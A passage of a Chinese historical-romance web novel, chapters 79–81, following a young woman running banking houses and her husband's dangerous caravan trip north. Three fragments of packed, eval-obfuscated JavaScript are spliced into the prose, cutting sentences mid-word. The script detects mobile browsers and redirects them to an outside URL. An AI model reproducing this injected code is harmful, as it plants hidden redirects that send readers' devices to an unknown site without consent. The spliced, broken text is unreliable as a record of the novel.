l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689713|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许是他有意，正停在一棵盛放的紫薇树下，一阵风过，细碎花影簌簌飘洒，擦着肩头落下，宽阔的肩膀，竟未留住一片。 绛紫衣襟不曾遮住的肌肤上，隐约可见三道凌厉抓痕，比不得石榴花鲜红，但足够夺目，她知道，除了蜿蜒没入衣领的抓痕，还有其他。 这副负担繁多的肩膀，留不住落红，独留下许多她给的印记。 想得深了，兀自羞臊起来，羽睫急急忽闪，垂眸掩饰心虚，亦躲开他灼灼目光。 “堂堂秦大当家，还需我养么。” 出口的调侃因这副女儿家娇媚情态蒙上一层调.情意味。 秦劭眼中，百媚千娇不及她万分之一，哪里舍得她避开，指尖轻轻托住下颌，将粉霞蒸腾的俏脸挪回视线之中。 “万贯家财尽可舍之，只想让你养。” 情话当不得真但实在动听，何况是鼻尖相蹭，呼吸摩擦的低语，季灵儿耳尖不受控地烧起来。 他靠近时，除却熟悉清冽雪松香气，茉莉香气也愈发清晰，缠绕在分不清彼此的呼吸间，但她顾不得细究。 心口怦怦直跳，连指尖都酥麻了，恼着欲打落他的手，因失力反成了撒娇般的轻拍，合着出口的嗔怪，十足十的打情骂俏。 “你这人，正经话总要夹些混话。” 秦劭低笑着逗她：“可方才的话并不混，少夫人若不应，我有真正混的话，要听听看么？” “不听不听！”季灵儿慌得挣开手，捂着耳朵跑开了。 跑得了和尚跑不了庙，是夜，季灵儿一边被托着巩固昨日所学，一边听他说“真正混的话”，还被逼着重复了好几句，臊得她浸了染缸似的，通身红透。 偏他受用得很，愈发卖力地让她舒服，美其名曰“奖励她学得好。” 然而自始至终，她都没回那句“能否养他一辈子的话”。 现在这般挺好，不必为一句承诺困住彼此，无论谁厌烦都可一拍两散，毫无挂碍地抽身离去。 秦劭想要一句承诺，也想要她，可因白日在清风堂见的人，谈的事，他深陷困顿。 白日见的是从闽地回来的商行三当家，言闽地一切处理妥当，按照原定计划，接下来他们要将闽地岩茶销往边境，与蒙古和罗刹交易。 如今河东商行困局重重，必得敢为天下先，才有机会破局，他身为大当家，关键的一趟当仁不让，一切都是先前商定好的，商行与家中照计划安置妥当，秦勉虽贪玩，但真遇上大事亦能担当起来，有祖母坐镇，秦家根基不会因他远行或不测动摇。 他本可以无挂碍，但小姑娘误打误撞闯入心田，成了唯一的变数。 此去凶险难测，不知归期，秦劭想要她一句应承，又怕真有万一，徒增她的负累，小姑娘才十八九岁，大好年华不该被他耽搁。 可话说回来，他并非圣人，私欲的力量无穷骇人，只消她莞尔一笑，他所有理智顷刻灼成灰烬，得她一句“等你”，纵使风雪埋骨异乡，无悔尘世三十载。 她又一次笑着躲开追问，秦劭将人捉回来放在身上，指腹流连描摹眉眼，顺着停翘鼻梁滑落，经小巧泛红的鼻头，动作慢得磨人，仿佛匠人在打磨玉器，耐心将每一处细节刻入骨血。 最后落在抿紧的唇珠上，指腹轻碾两瓣柔润，拨开些探进去，感受属于她的温度，终是开了口：“我要出趟远门。” 79. 念想 情浓时他总爱瞧她，季灵儿未察觉异样，随口问：“去何处？” “去北边，走一趟茶路。”他没忍心说具体。 可比河东府再北的地方，不消想也猜到大概，季灵儿笑意微凝：“去多久？” “至少一年。”他说。 “一年......”她声音很轻重复，像在自语，尾音飘忽散尽时，一股酸意猛地冲上鼻尖，急急别过脸去，恹恹回他：“知道了，你万事当心。” 聪慧如她定是猜到了，秦劭凝着她眼尾碎裂的光，进一步试探：“或许更久，你没有旁的话同我说么？” 她摇了摇头，没说话。 秦劭眸光黯然几许，掌心捧住脸颊迫她回眸，无奈道出心迹：“也可能永远回不来，说些我爱听的话，让我有个念想。” 季灵儿明白他的意思，是以更不能随他愿，嘴皮子一碰容易，说出口便成了誓约，有了约，往后没他在身边的日夜徒增一份惦念，会显得格外漫长难捱。 她不要，不要为一句空话束着自己。 帷帐未落，床畔投进来的烛影在他深潭似的眼睛里摇曳，将其中涌动的情潮和渴求照得分明。 她的心泡在里面，泡软了，泡发了，再被盯下去便要化了。 可他控着她，不让她逃开视线，她终是妥协，迎着他的注视，轻启朱唇，呢喃道：“你好好的回来，我再说给你听。” 仅仅如此，秦劭已心满意足，眼底荡开极淡的笑意：“能将这话理解为‘你会等我’吗？” 果然老奸巨猾，什么空子都能钻。 季灵儿没否认，带着几分赌气的娇态补一句：“倘若到时候你还想听，我还愿说。” 一句默许抵万丈华光，骤然照亮幽深，他欣喜应道：“有你等，我一定回来。” 说罢，他捧着她的脸吻上去，含住两片日日肖想的柔软。 干柴烈火，燃尽长夜。 ... 秦劭不愿让季灵儿送，临行前一天先将她和梁宸送上回曹县的马车。 杨树茂密成荫的小道上，停着两辆马车，小厮们忙进忙出往后面一辆上装各式行李，尽是秦劭嘱咐给二人采买的，吃穿用度一应俱全，不知情该以为要出远门的是他们。 前面那辆马车门敞着，秦劭先同梁宸叮嘱几句，待他上车后，才转身看向季灵儿，温声道：“你住处清简，不便遣人照应，凡事须得仔细，遇上急事知会广兴掌柜，他知道如何做。” 季灵儿对他搞出如此阵仗颇为不解，像生离死别似的，弯起笑，企图让氛围轻松些：“放心吧，我有手有脚可以将自己照顾好的。” 这些年全是她一人过来的，无须谁来替她张罗，不过有人惦记着心头终归是暖的，是以脸上笑意更深了些，眸光澄澈，肌肤白皙，映着盛夏日光整个人亮晶晶的，比枝头绽放的夏花更明媚动人。 教人难分难舍。 秦劭多瞧了须臾，才从袖中取出一枚素色绣并蒂莲的香囊，兀自系到她腰间，“三当家从闽地带回，专门让我送夫人的，香气很宜人，念我时候便闻一闻。” 是先前闻见的茉莉香。 季灵儿心下恍然，怪道满园寻不见花影，原是藏在香囊里。 极自然的一声“夫人”伴着淡淡花香轻扫心尖，一丝酥甜漾开，却捕不到痕迹，眨了眨睫羽，嘟囔道：“哪个要念你？” 秦劭被她娇嗔的神态撩得笑起来，忍住当众亲下去的冲动，只拿话哄着：“是我要你念，成吗？” 季灵儿偏过头去不接这话。 秦劭敛了笑，继续道：“还有些闽地产的茉莉花茶，我让人一并放马车里了，你或自饮或赠人都成。” 马车门敞着，梁宸全程目睹了自家师父面对季灵儿时的柔情蜜意，腻得鸡皮疙瘩落一地，扯着衣领透气，这还是他崇敬的师父吗？ 还有那丫头，恃宠而骄成什么样了，倘使生出尾巴怕也摇穿了天。 如坐针毡，干脆转身往窗外看，奈何耳朵闭不上，两人絮絮叨叨的话不住往里钻，大都是师父说，她含娇带嗔地驳。 梁宸听着都替师父憋屈，转身喝道：“季灵儿，你别不知好歹了！” 季灵儿回头哼他：“我乐意他乐意，要你管。” “......”梁宸吃瘪，翻个白眼，半天挤出一句：“谁管你，我是替师父叫屈。” 两人登时吵作一团，一个柳眉倒竖，一个面红耳赤，同往常一样，不把对方逼到服软不罢休，眼瞧吵急眼要对骂起来，秦劭连忙叫停。 无奈道：“好了，都不准闹了。” 季灵儿再回神，才发觉腰间又多一样东西，垂眸看，是水纹玉雕成算盘状的玉坠，她负气出走时还给他的。 旧物重回，往事如潮涌上心头，指尖不由自主抚上温润玉面。 秦劭以为她要摘，按下她手上动作，将葇夷和玉佩一道握入掌心，低声道：“收好，让它替我陪你。” ... 回曹县后，梁宸去牢里探望父亲，求证所有不愿相信的问题。 梁守正知道自己大限将至，没再瞒下去的必要，将毕生积蓄与账本一并交代给儿子。 他到底是怕死的，双手握着牢门老泪纵横道：“爹对不住你娘，可爹做的一切都是为了给你铺路，如今已悔悟了，咱爷俩相依为命这么多年，你便忍心看你爹被问斩吗？” 梁宸心痛如绞，一个劲地跟着父亲流泪，可他不知道自己还能做什么。 梁守正：“你去求县令，拿钱打点上下，再不行你去求你师父，他若肯出面，总有门路救爹......” 梁宸神色悲凄，哭说：“其实......前日师父问过我，是否要花银两打点关系救您.......” 闻听秦劭主动提及，梁守正心下一喜，沧桑面颊紧紧贴在铁栏上，满眼期待盯着儿子：“你答应了吧？” 梁宸垂首不敢看父亲，许久，双膝一弯跪下去。 “你——”梁守正两眼发黑，若非扒着栏杆便要栽倒在地，嘶声裂开：“你竟不救你老子？” “您.......您杀了娘。” “你心中有你娘，便没我这个爹了吗？孽子啊孽子，白眼狼.......”梁守正拊心攒眉叱骂着。 后面的话梁宸没听进去。 他当然无法眼睁睁看着亲爹赴死，师父问他时他想也不想就应了，是受季灵儿一顿刺激后反悔的。 杀人偿命，倘若为父亲周旋，九泉之下的母亲能否原谅他未可知，但能肯定，包括季灵儿在内的所有知情人都会看不起他，他这辈子都要背负心虚，无法抬起头做人。 骄傲遭人践踏，永远直不起脊梁，于他是莫大的屈辱。 梁宸攥紧拳头，朝父亲重重叩几个响头，额角在青石上磕破，血迹斑斑。 “爹，儿子不孝，儿子懦弱......但您也该去向娘赎罪。”几乎是用尽所有力气说完这句，梁宸再不敢看父亲神情，逃命似的踉跄冲出大牢。 除却谋杀发妻，梁守正还曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700947|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联合账房暗中签发不在账目记录的银票近三十万两，致使票号亏空，事发后欲推账房顶罪，害账房死于非命。 账房家人告上公堂，受审的却是当时汇通的当家人季璇，季璇受了刑，心知其中猫腻但未将梁守正供出，最终因原告证据不足释放。 事后季璇妥善安置账房家小的生计，暗中替他们谋了生路。 正是这一遭，让她彻底认清了梁守正的真面目，奈何为时已晚，她替所有人周全日后，最终没逃过枕边人痛下杀手。 河东知府涉入此案，找来相关人等将桩桩件件彻查清楚，数罪并论，判了梁守正秋后问斩。 汇通票号因当家人出事受创不少，梁宸不得不在悲痛中振作，全盘接手家业，重整旗鼓，为了留住老主顾，他一户一户拜访，言辞恳切，甚至搬出母亲和外祖的情分来。 他大义灭亲之举虽令外人唏嘘，倒赢回了尊严体面，不少念及季家的旧情与恩义之人，愿意重新恢复往来，权当告慰先人在天之灵。 这厢季灵儿也将隆昌票号的伙计们唤至厅中，让大伙自行选择，是回到老东家汇通那里，还是继续留下共谋前程。并宣布票号改制，日后施行股奉制，分为银股和身股两种，银股出资，身股出力，年底分红时实行同股同利，各人所持银股和身股加在一起算比例分红。 欲去者当即结清薪俸，分文不欠。 欲留者可酌情添置银股，或以劳代资，日后盈亏与共，且三年一议股，劣汰存优。而票号先前所赚得财产化作原始股，留作后备资本。 满堂寂然，众人面面相觑，有的低头默默盘算，有的偷眼觑旁人，皆难决断。 季全立在人群前首，不解问道：“姑娘为何不直接接手汇通？你年轻有为，又为我家小姐洗刷冤屈，她在天之灵，定会欣慰衣钵得继。” “汇通是师父的家业，理应由她唯一的血脉继承，让梁宸守住季家根基，我嘛——” 紫檀案上置着一把乌木算盘，是季璇生前所用之物，季灵儿凝着做旧失色的算盘珠子，眼神逐渐坚定，“师父生前常叹女子经商不易，我既承其教诲，必得竭尽所能将她未竟的心愿实现，让世人知道女子亦能立业。” 说着再度看向众人，将声音放柔：“自然，前路多艰，所以诸位有顾虑我完全理解，去留自便，无须顾及情面。” 她一身青缎织暗花窄袖裙，未施脂粉，眉目间自有一段清毅之气，行事果决，担当，季全瞧着，仿佛在她身上看到了当年自家小姐决事时的风姿，心头一热，跨前一步拱手道：“信誉乃票号生命，您念及我家小姐恩情，舍命替她昭雪，这般重情重义，必能成就大业，我愿意追随到底，同进同退！” 这群季家和汇通的旧人，能被季全召集回来，或因念旧情，或因看季全面子，如今他发了话，其余人也纷纷表态，愿留者十之八.九。 季灵儿整衣朝众人一揖，声音清泠：“从今往后，隆昌非我一人之业，乃诸位搏生计前程的地方，我与诸位荣辱与共，是同舟共济的一家人。” 隆昌票号原是季灵儿暗藏的后手，先前恐引梁守正注意，一直低调行事，如今再无顾虑，借势改制重修，广纳贤才，正式进入百姓视野。 重新开业当日，锣鼓喧天，舞龙舞狮队伍沿街铺开，朱漆匾额新描金粉，八扇雕花漆门大开，知府赵大人遣人送来贺仪，以及“商亦有道，诚信通达”的题字。 票号开业，官府堂而皇之祝贺，围观之人见之惊罕，季灵儿倒不意外，好生将来人请入吃茶。 80. 小衣 与赵大人的渊源，正是她从未向外人道的秘密。 一年前，赵大人还在河东府另一县任县令，辖内因闹蝗灾致百姓粮食收成锐减，朝廷的赈灾银迟迟未至，饥民等不及。 赵大人典当家产自掏腰包垫付赈灾银两，但他是个两袖清风的直臣，微薄家底难解全县之饥。 清心庵往来香客中有从灾县来的妇人，祷告提及灾情和赵大人义举，季灵儿得知后，以隆昌票号名义无息借贷三万两白银，助其渡过难关，自此结下善缘。 赵大人也凭救灾之功升任知府，顶了先头汪知府之缺。履新不忘旧恩，一纸贺书，恰似金印玉册，为票号信誉作保。 有官府撑腰，生意自是蒸蒸日上。 隆昌票号规矩既定，季灵儿只需定期审查账目，把控风险，日常事务全交由季全和另一位掌柜打理，她平日照常在广兴票号完成自己的课业。 县衙事后，广兴票号上下皆知她女子身份，索性以本来面目示人，且不让掌柜和少数几个知情人唤她少夫人，彻彻底底做回自己。 日子忙碌且充实。 季灵儿本没有多余的工夫惦记秦劭，但身上留下他太多物件，如影随形的茉莉幽香，低头可见的玉坠，以及她腕上系的坠元宝五彩绳。 瞧见会忆起，刻意留在家中又觉得不适应。 老男人惯会撩拨人，便是故意留这些劳什子，勾她念着他。 真后悔当初心软留他借宿，没有留宿便不会有后续顺水推舟的亲近，她与他只是冷着，任他跑到天边去都与自己无关，哪会有现下尝过甜头骤然落空的抓心挠肝。 跟蚊子叮咬在挠不着的地方似的，好生磨人。 季灵儿又气又恼，在暗暗将人骂了个千遍万遍，可每句骂都牵着同他的过往，骂过心中关于他的痕迹就多一道，反倒是愈骂愈刻骨。 转而好奇起来，自己睹物思人，他呢？她可没留贴身物件给他，还会时时想着自己吗？ 实在无处排遣，一头扎进账册里，数钱算账颇有奇效，心境平和不少。 两家票号能数的账全数过一遍，开始数这段日子赚得的体己钱，手里现银和账上挪不动的轮番捋过，数字尚算可观，但比起早前秦劭给他数的一匣子私银还差一大截，不由感慨投胎也是门学问。 惦念化成较劲，激起满心斗志，盘算着如何将票号生意再拓一层，赚钱的念头长起来，旁的渐渐显得没那么重要了。 都说夏日漫长，可今夏似乎走得格外匆忙，接连几场雨冲去燥热，街巷积水未干，秋意已悄然爬上屋檐。 黄叶萧瑟，桂花飘香。 季灵儿日复一日扑在两家票号上，没闲心赏景看四季更迭的细节，只知香囊里的茉莉气味一日淡过一日。 又一次贴近鼻尖嗅，唯余残留在香囊上的余香，心口忽地空了一块。 香气淡了，情反倒愈发深浓。 从前只是想起他，这一瞬季灵儿真的想他了，担心他是否安好。 ... 仲秋前日，广兴的掌柜交给季灵儿一封信，是北归商队捎回来的。信笺入手沉甸，封面书着她名字的字迹遒劲有力，一眼认出是秦劭手笔。 寻了个背人的角落启封，展开竟有近十页笺纸，密密匝匝述着沿途所见之景，遇着奇景趣事会多费墨笔，偶尔附两幅简笔勾勒的景致，意趣生动。 看落款乃秦劭月前所书，且算准了仲秋前后能送到她手中，最末处另起一行，额外提及德馨园秋日风景别有佳趣，邀她观赏小住，聊寄相思。 “谁要思你。”季灵儿嘴上轻啐一句，却是仔仔细细将信重读一遍，按在胸口愣神良久。 也罢，相思不相思的，赏赏秋色也好。 如此想着，向掌柜告了第二日的假，清晨雇马车往德馨园去。 才入园子，便觉桂香扑面，甜沁心脾。丫鬟见她来半分不意外，径直引她往后园，穿过九曲回廊，至临水轩榭。 一池秋水映着天光云影，上次来时的满池荷花已是残荷枯茎，托着几片焦黄卷曲的叶，不肯彻底凋零，水面浮着零星桂花，随涟漪轻轻撞向石岸，岸边垂柳渐枯，枝条拂过水面，划开一圈圈细纹，枫叶渐染霜色，勉强撑着所谓秋色。 入眼所见尽是萧瑟，哪里有半分赏心悦目，季灵儿直呼上当。 静坐一盏茶，丫鬟们鱼贯而入，捧着各式佳肴和时鲜果馔，依次铺开，挤满整张青玉石桌。 蟹肥酒香，琳琅满目，倒是比水榭外的景致诱人。 可......未免太丰盛了些，她自己如何能吃的了。 季灵儿讶然问丫鬟：“今日还有旁人来？” 丫鬟摇头：“皆是爷临行前吩咐备办的，专等着您来呢。” 合着是让她来看他心意的。 不对，他又算计她心思！ 往年仲秋，除却在梁家的几年，季灵儿都是独自过的，从未觉得冷清，今年不出意外一个人躲在小宅子里也乐得自在，指不定还会出门逛庙会集市赶个热闹，被他一封信骗来，独自瞧冷清秋色，倒叫人生出几分落寞，心里发闷。 此情此景，她没旁的取乐，只会念他，想他。 季灵儿意识到其中诡计为时已晚，想他念头一旦起了，怨也好，气也好，惦念之心如春藤缠树，再挥之不去。 相隔千万里还要想法子吊着她，老奸巨猾！实在可恶透了！ 园中有旁的住所，但季灵儿酒足饭饱后仍选择回常歇的栖云阁，就着酒兴铺纸研墨，洋洋洒洒写了满纸嗔怨，控诉他的狡诈与算计。 掷笔才意识到，信根本送不到他手里。 气愤地将信纸揉成一团，扬手欲丢又顿住，腕子悬在半空。 便存放在此处罢，等他回来看！ 旋即专门找来空匣子，原样将那皱纸团放入其中。 衣裳沾了酒气，季灵儿去衣柜寻干净衣物替换，翻来覆去的未找见那件绣着石榴花的妃色小衣。 心中颇为纳罕。 此处无旁人来，即便有，谁会偷拿她贴身衣物？ 唤来丫鬟询问。 季灵儿来园中次数不算多，浣洗衣物寥寥，丫鬟的确有印象，回忆着答：“少夫人第二次来园中和其他衣裳一同换下的，底下人清洗过奴婢便收妥帖收入柜中了，后来......” 话至一半犹疑，似有难言之处。 季灵儿追问：“后来如何？” “奴婢们收拾床榻时见过，也见爷在水池边亲自清洗，不过爷专门嘱咐了，不许奴婢们擅动，便再没动过。” “他亲自洗？” “是。” 丫鬟面上倒无异色，季灵儿愈发觉出不对劲。 分明是洗干净收起来的，她未曾穿过，他为何要洗？ 他...... 脑中闪过一个荒唐的念头，季灵儿面上大窘，拼命摇头甩去。 不可能，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703970|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当不可能做出那种事......吧？ 可如今他离开，衣服也不见，若非丢弃，唯有一种解释——他将衣裳带走了！ 季灵儿越想越觉得别扭，又在纸上写下数十个“变态”泄愤，墨迹横七竖八，同样团起来丢进留给他的匣子里。 ... 蒙古边境的九月已透出刺骨的寒意，数百骆驼组成的商队，旌旗招展，浩浩汤汤。如此阵仗只能震慑寻常马匪，眼见快至最险要处，商队上下无不悬心。 秦劭勒马高坡，玄色貂裘在朔风中扑簌作响，他望着远处横亘天际的灰色山脉，眉心紧紧锁成川字。 据领路人说，前面峡谷处是布日古德马匪常出没之地。 布日古德在蒙古语种意为“雕”，亦是雄鹰之意，此匪帮中多是蒙古族人和混杂的亡命之徒，精于骑射，十分熟悉草原地形，来去如风，手段凶残，谋财害命是家常便饭，单一个名号便令人闻风丧胆。 阿吉驱马近前，道：“爷，探路的兄弟回报，三十里内没见着活物。” 秦劭仍凝在远处那片死寂，少顷，附耳叮嘱阿吉几句。 商队缓缓驶入峡谷，岩壁陡峭，两侧高地如鬼怪巨兽，投下的阴影几乎吞噬天光，阴风穿谷而过，卷起沙砾直往人身上拍。 行至狭窄处，一声尖锐呼哨破空。 乱石后，崖顶上，冒出密密麻麻的人影。清一色皮袍弯刀，头戴圆形锥帽，露出凶悍面容。为首的虬髯汉子鹰隼般扫视下方商队，用生硬汉语喝道：“卸货留命！” “放箭！”护卫商队的镖头下令。 乱箭如急雨破空飞出。 马匪齐刷刷俯身马背，左右驰射，他们战斗经验丰富，不消片刻商队前排的伙计已倒下一片，匪首纵马冲破商队，手中弯刀划出寒光，刀刀取人性命，直向秦劭逼近。 秦劭早已抽出长剑，侧身避过，旋即调转马头迎上，他习过防身术，刀光交错撑过几个回合。 匪首显然未料到有此反抗之力，狞笑一声，刀锋陡转，刀势猛然下压，直往秦劭肩颈劈落，秦劭猛提缰绳，马儿前蹄扬起，堪堪避过，但刀锋擦过马颈，溅起一串血珠。 秦劭借势滚落马背，眼看又一刀劈来，镖头横枪格挡，弯刀压向肩头迸溅。 “大当家先走！”镖头目眦欲裂。 秦劭就地翻滚，趁镖头与匪首对抗期间，抽出靴中匕首突刺匪首的马腿。 寒光一闪，又刺向马腹，马儿嘶鸣，将匪首掀落马背。 与此同时，阿吉终于脱出身，照吩咐带人将火油罐掷向崖上引燃，浓烟腾起，烈焰顺着岩壁攀爬，呛得马匪阵脚大乱。 商队在火墙掩护下冲出峡谷。 烟尘蔽日，马蹄声渐远，匪首于乱石间翻身爬起，抹去脸上血渍，望着远去的商队残影，并未让人追击。 待商队行到安全地带，已是玉盘高挂，大伙得了喘息机会，原地歇息清点伤亡，亡者十余人，伤者十余，驼货散失近半。 一切安顿妥当，秦劭包扎伤口，仰面在篝火旁躺下，望见月满中天才意识到是仲秋。 手掌探入胸前摸索着那片再熟悉不过的刺绣石榴花脉络，终于卸下疲惫，漆黑眸子照进月光，映着最深处的一缕柔和。 仲秋之夜，小姑娘应当已去了叠翠园，想必此刻正噙着酒意骂他罢。 思及此，唇畔荡开浅笑。 骂便骂罢，只要还与愿意惦记他。 81. 师妹 一场秋雨一场寒，两场雨落，街巷间氤氲浮动的桂花甜香消散无痕，倒有一位身穿金桂色云缎裙的女子在广兴票号门前袅袅下轿。 雨天生意清淡，季灵儿正倚着柜台与伙计们闲话，见轿马临门，忙直起身子，眼风向门外一递，柜前的伶俐伙计小跑迎上去。 雨水淋漓的伞面徐徐收起，露出一张莹润素净的芙蓉面，季灵儿倏然愣住，回神细瞧，认出来人是柳家小姐。 心中说不出的滋味。 对方目光也落在她身上，唇角含着一缕浅笑，轻轻颔首，是认出她的意思。 倒没说旁的，先令随从将一匣银两递上，言道往京城汇兑银票。 季灵儿与负责的伙计接过银匣验看后，依例登记造册。 回票收妥，柳元慧才重新开口，笑问季灵儿可否借一步说话。 季灵儿欲引她入内堂用茶，柳元慧道：“在此处不方便，还请去街角茶舍一叙。” 二人先后来到茶舍雅室，柳元慧唤她一声“少夫人”，笑着让座。 季灵儿不知她来意，秦劭虽说过拒了柳家亲事，但她不敢确信家中老夫人是何态度，万一仍有跟柳家结亲之念，她贸然认下这声“少夫人”岂非徒增麻烦。 略作踌躇，终是道：“我已非什么少夫人，柳小姐莫要误会。” 相似的言辞，往日对旁人说未有异样，面对柳元慧，心上如同被酸水淋过，说到最后，喉咙干涩，几乎是硬挤出的声音。 柳元慧观她神色会心一笑，未做辩驳，改口道：“听闻姑娘如今掌着隆昌票号，我便唤季掌柜罢。” 季掌柜的称呼的确比少夫人顺耳多了，季灵儿勉强压下心绪，仍有些局促，“不知柳小姐邀我来所为何事？” 柳元慧：“季掌柜不必多虑，我来寻你无关秦家，更无关秦公子。” 她二人无甚交情，此前少有的往来皆因要为柳元慧和秦劭牵线，与秦家无关，季灵儿想不出旁的事由，静待她开口。 柳元慧替她斟一杯茶，缓缓开口：“季掌柜可有在京城设分号的打算？我愿入股经营。” “京城？”此番实在出乎意料，京中商贾云集，银钱流转日以万计，若能开设分号盈利自是不可估量，但...... 季灵儿思量片刻，如实相告：“不瞒柳小姐，京城势局错综繁杂，我无根基人脉，亦不谙行情，故暂时未作此想。” 柳元慧也不迂回，直抒来意：“家兄在京中为官，我早年随父居京数载，略通门径，尚有些人脉可资借助，若季掌柜有意，我愿出面打理帮分号立足。” 季灵儿愈发不解：“柳小姐家底殷实，又有此般便利，何不自立门户，反倒要与我这小本经营合股？” 柳元慧笑道：“季掌柜所说皆锦上添花之物，一则，我无老字号的招牌傍身，二则不了解票号经营门道，独木难支，不如借季掌柜东风。” 季灵儿对这套说辞不尽信，提防道：“隆昌亦是新字号，柳小姐怕寻错了人。” “隆昌虽新，但所用伙计半数是汇通票号的老人，又有知府大人作保......”柳元慧说了会子客套话，见季灵儿仍存疑虑，嫣然一笑，转换话锋：“其实最紧要的，是我打听了季掌柜近月在隆昌的经营手段，颇欣赏季掌柜的胆识破例，我要做的生意非同寻常，旁人未必敢接。” 柳元慧说罢目光炯炯瞧着她，似挑衅似笃定。 不得不说，季灵儿更吃这一套，顿时来了兴致，秀眉微微上挑，向前倾身：“愿闻其详。” 柳元慧笑意加深，朱唇轻启，缓缓吐出八个字：“士绅捐官，往来授受。” 士绅捐官并非新鲜事，官场上往来行贿银钱花销大难免引人注目，汇成银票可避人耳目，稳妥便捷。 官商一体，利害相关，此番若成更能与官府深度结纳交好，比寻常巴结更为牢固，自来赚钱的买卖风险与利益并存，一旦牵扯进大案，恐受牵连之祸，轻则倾家荡产，重则身陷囹圄。 的确非一般人敢为。 话又说回来，天下熙熙，皆为利来，天下攘攘，皆为利往。有银子不赚实是拱手将机会让给他人。 季灵儿慢饮一盏茶，斟酌其中利害，终是同意柳元慧的提议，不过要约法三章，只行票号当行之责，不涉入任何官场倾轧与朝堂纷争。 约定既成，二人另约时间详谈细节。 柳元慧：“此事定下，不日我便启程入京，往后留在京中打点分号事宜，劳季掌柜分派些得力人手随行襄助，彼此便宜。” 季灵儿：“这是自然。” 柳元慧提壶又为她添茶，季灵儿盯着波动的茶面出神，氤氲水雾模糊了眉间神色，忽而抬眸，问：“柳小姐亲自坐镇，岂非要离家常住京城？” 柳元慧颔首：“兄长已在京中成家，若此番票号经营得法，恰可与兄长互为倚仗，届时将祖业交与弟妹打理，父母无论在何地颐养天年皆有儿女照拂。” 季灵儿附和着应了一句。垂在膝前的手悄然上挪，描着玉坠轮廓若有所思，樱唇微启又抿紧，没说旁的。 柳元慧将紫砂壶搁回红木小几上，含笑看回来，一语道破她欲说还休的踌躇：“季掌柜可是想问我家与秦家议亲之事？” 季灵儿想否认，却不自觉点了头。 “季掌柜约我茶馆听书那日，我见到秦公子了。”柳元慧见她蛾眉蹙起，唇角弯起恬淡的弧度，接道：“秦公子明确表示，他与秦家只认一人为他的夫人，无意娶旁人。” 拢在玉坠上的指节倏地收紧，季灵儿张张嘴却发不出声音。 柳元慧依旧笑着：“姻缘一事终究勉强不得，虽未能与秦家结亲，幸得秦公子替我家牵线了生意往来，也算结段善缘。” 柳元慧点到即止，季灵儿从她寥寥数语间听出其中深意，秦劭的确明明白白拒了她，与柳家亲事再无希望。 不，不止与柳家亲事无望，照柳元慧所说，秦劭许下的，是此生唯她一人为妻的承诺。 他竟同旁人也如此说吗？ 自己能信他吗？ 又或许，那个“唯一”并非自己，而是另有其人呢？ 茶汤入口清苦，许久才有一丝甘甜回旋于舌根，季灵儿心说涩润交织的滋味，她今日可是尝够了。 京城分号事关重大，须得慎之又慎，季灵儿思来想去，决定亲自随行进京，大小事宜方便与柳元慧商议定夺，安顿后再回来换季全去帮衬。 此想法与柳元慧不谋而合。 启程日期定在冬月十五。 在此前，她要回趟叠翠园，半年的历练期满，众弟子皆回园中汇报所学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710392|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所得，亦听师父评断进益。 秦劭回不来，照旧由姚怀义代劳。 随着隆昌票号声名鹊起，季灵儿女儿身早不是秘密，几个分派在曹县的师兄弟先知情，彼时还特意找上门确认真伪。 惊诧之余，商定好暂时不向他人泄露，并央着季灵儿一定在回园子当日保持女儿家装扮，他们好在一旁瞧热闹。 有乐子耍季灵儿自然不拒绝，何况她本就不打算再隐瞒身份，堂堂正正以女子身份经营行走，才好教世人看看，女子亦有立身商道的能耐。 至那日，季灵儿进园时已有十几名师兄早到，在园中八角亭下说笑谈天，其中便有揣着瞧热闹心思的知情者，见她来兴奋招手呼唤。 她身着湖蓝色对襟长裙，外罩素雅比甲，发髻简单挽起，斜簪一支累丝珠花，端的是衣服清丽从容。 亭中众人见她款步而来，眼前俱是一亮，这个细看她眉眼，那个暗忖她举止，你推我搡，半晌不敢相信。 旁的也罢，说起弟子中最不守规矩，惹事挨打次数最多的，当属小师弟，因此无人能将那顽劣小子与闺阁女儿联系在一起，即便她如此装扮出现。 “你真是小师弟？莫不是扮女装逗我们的？” “我无事扮女装给师兄演《木兰从军》吗？说书唱戏尚要收个茶水钱，师兄看了戏是否得意思几个子儿？”季灵儿说着摊开手伸向说话人。 